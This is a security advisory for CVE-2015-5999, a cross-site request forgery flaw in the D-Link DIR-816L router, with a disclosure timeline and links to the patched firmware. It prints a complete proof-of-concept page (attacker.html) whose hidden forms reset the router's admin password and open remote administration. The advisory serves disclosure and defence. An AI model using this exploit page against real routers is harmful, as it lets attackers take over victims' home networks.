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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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Title:
====

D-link wireless router DIR-816L – Cross-Site Request Forgery (CSRF) vulnerability

Credit:
======

Name: Bhadresh Patel
Company/affiliation: HelpAG
Website: www.helpag.com

CVE:
=====
CVE-2015-5999

Date:
====

10-11-2015 (dd/mm/yyyy)

Vendor:
======
D-Link is a computer networking company with relatively modest beginnings in Taiwan. The company has grown over the last 25 years into an exciting global brand offering the most up-to-date network solutions. Whether it is to suit the needs of the home consumer, a business or service provider, D-link take pride in offering award-winning networking products and services.

Product:
=======
DIR-816L is a wireless AC750 Dual Band Cloud Router

Product link: http://support.dlink.com/ProductInfo.aspx?m=DIR-816L


Abstract:
=======

Cross-Site Request Forgery (CSRF) vulnerability in the DIR-816L wireless router enables an attacker to perform an unwanted action on a wireless router for which the user/admin is currently authenticated.

Report-Timeline:
============
27-07-2015: Vendor notification
27-07-2015: Vendor Response/Feedback
05-11-2015: Vendor Fix/Patch
10-11-2015: Public or Non-Public Disclosure
Affected Version:
=============
<=2.06.B01

Exploitation-Technique:
===================
Remote

Severity Rating:
===================

7.9 (AV:A/AC:M/Au:N/C:C/I:C/A:C)
Details:
=======
An attacker who lures a DIR-816L authenticated user to browse a malicious website can exploit cross site request forgery (CSRF) to submit commands to DIR-816L wireless router and gain control of the product. The attacker could submit variety of commands including but not limited to changing the admin account password, changing the network policy, etc.


Proof Of Concept:
================

1) User login to DIR-816L wireless router
2) User visits the attacker's malicious web page (attacker.html)
3) attacker.html exploits CSRF vulnerability and changes the admin account password
PoC video link: http://youtu.be/UBdR2sUc8Wg
Exploit code (attacker.html):
<html>
<body>
<iframe style="display:none" name="hiddenpost"></iframe>
<form action="http://192.168.0.1/hedwig.cgi" method="POST" enctype="text/plain" target="hiddenpost" id="csrf">
<input type="hidden" name="<&#63;xml&#32;version" value=""1&#46;0"&#32;encoding&#61;"UTF&#45;8"&#63;>&#10;<postxml>&#10;<module>&#10;&#9;<service>DEVICE&#46;ACCOUNT<&#47;service>&#10;&#9;<device>&#10;&#9;&#9;<gw&#95;name>DIR&#45;816L<&#47;gw&#95;name>&#10;&#9;&#9;&#10;&#9;&#9;<account>&#10;&#9;&#9;&#9;<seqno>1<&#47;seqno>&#10;&#9;&#9;&#9;<max>2<&#47;max>&#10;&#9;&#9;&#9;<count>1<&#47;count>&#10;&#9;&#9;&#9;<entry>&#10;&#9;&#9;&#9;&#9;<uid>USR&#45;<&#47;uid>&#10;&#9;&#9;&#9;&#9;<name>Admin<&#47;name>&#10;&#9;&#9;&#9;&#9;<usrid&#47;>&#10;&#9;&#9;&#9;&#9;<password>password<&#47;password>&#10;&#9;&#9;&#9;&#9;<group>0<&#47;group>&#10;&#9;&#9;&#9;&#9;<description&#47;>&#10;&#9;&#9;&#9;<&#47;entry>&#10;&#9;&#9;<&#47;account>&#10;&#9;&#9;<group>&#10;&#9;&#9;&#9;<seqno&#47;>&#10;&#9;&#9;&#9;<max&#47;>&#10;&#9;&#9;&#9;<count>0<&#47;count>&#10;&#9;&#9;<&#47;group>&#10;&#9;&#9;<session>&#10;&#9;&#9;&#9;<captcha>1<&#47;captcha>&#10;&#9;&#9;&#9;<dummy&#47;>&#10;&#9;&#9;&#9;<timeout>180<&#47;timeout>&#10;&#9;&#9;&#9;<maxsession>128<&#47;maxsession>&#10;&#9;&#9;&#9;<maxauthorized>16<&#47;maxauthorized>&#10;&#9;&#9;<&#47;session>&#10;&#9;<&#47;device>&#10;<&#47;module>&#10;<module>&#10;&#9;<service>HTTP&#46;WAN&#45;1<&#47;service>&#10;&#9;<inf>&#10;&#9;&#9;<web><&#47;web>&#10;&#9;&#9;<https&#95;rport><&#47;https&#95;rport>&#10;&#9;&#9;<stunnel>1<&#47;stunnel>&#10;&#9;&#9;<weballow>&#10;&#9;&#9;&#9;<hostv4ip&#47;>&#10;&#9;&#9;<&#47;weballow>&#10;&#9;&#9;<inbfilter&#47;>&#10;&#9;<&#47;inf>&#10;&#9;&#10;<&#47;module>&#10;<module>&#10;&#9;<service>HTTP&#46;WAN&#45;2<&#47;service>&#10;&#9;<inf>&#10;&#9;&#9;<active>0<&#47;active>&#10;&#9;&#9;<nat>NAT&#45;1<&#47;nat>&#10;&#9;&#9;<web&#47;>&#10;&#9;&#9;<weballow>&#10;&#9;&#9;&#9;<hostv4ip&#47;>&#10;&#9;&#9;<&#47;weballow>&#10;&#9;<&#47;inf>&#10;&#9;&#10;<&#47;module>&#10;<module>&#10;&#9;<service>INBFILTER<&#47;service>&#10;&#9;<acl>&#10;&#9;&#9;<inbfilter>&#9;&#9;&#10;&#9;&#9;&#9;&#9;&#9;&#9;<seqno>1<&#47;seqno>&#10;&#9;&#9;&#9;<max>24<&#47;max>&#10;&#9;&#9;&#9;<count>0<&#47;count>&#10;&#10;&#9;&#9;<&#47;inbfilter>&#9;&#9;&#10;&#9;<&#47;acl>&#10;&#9;<ACTIVATE>ignore<&#47;ACTIVATE>&#10;<FATLADY>ignore<&#47;FATLADY><SETCFG>ignore<&#47;SETCFG><&#47;module>&#10;<module>&#10;&#9;<service>SHAREPORT<&#47;service>&#10;&#9;<FATLADY>ignore<&#47;FATLADY>&#10;&#9;&#10;<ACTIVATE>ignore<&#47;ACTIVATE><&#47;module>&#10;<module>&#10;&#9;<service>SAMBA<&#47;service>&#10;&#9;<samba>&#9;&#9;&#10;&#9;&#9;&#32;&#32;&#32;&#32;&#10;&#9;&#9;<enable>1<&#47;enable>&#10;&#9;&#9;<auth>1<&#47;auth>&#10;&#10;&#32;&#32;&#32;&#32;<&#47;samba>&#10;<&#47;module>&#10;<&#47;postxml>" />
</form>
<script>alert("This is CSRF PoC");document.getElementById("csrf").submit()</script>
<iframe style="display:none" name="hiddencommit"></iframe>
<form action="http://192.168.0.1/pigwidgeon.cgi" method="POST" target="hiddencommit" id="csrf1">
<input type="hidden" name="ACTIONS" value="SETCFG&#44;SAVE&#44;ACTIVATE" />
</form>
<script>document.getElementById("csrf1").submit()</script>

</body>
</html>
Patched/Fixed Firmware and notes:
==========================
2.06.B09_BETA  --  ftp://FTP2.DLINK.COM/SECURITY_ADVISEMENTS/DIR-816L/DIR-816L_REVB_FIRMWARE_PATCH_2.06.B09_BETA.ZIP
2.06.B09_BETA  --  ftp://FTP2.DLINK.COM/SECURITY_ADVISEMENTS/DIR-816L/DIR-816L_REVB_FIRMWARE_PATCH_NOTES_2.06.B09_BETA_EN.PDF

Credits:
=======
Bhadresh Patel
Senior Security Analyst
HelpAG (www.helpag.com)
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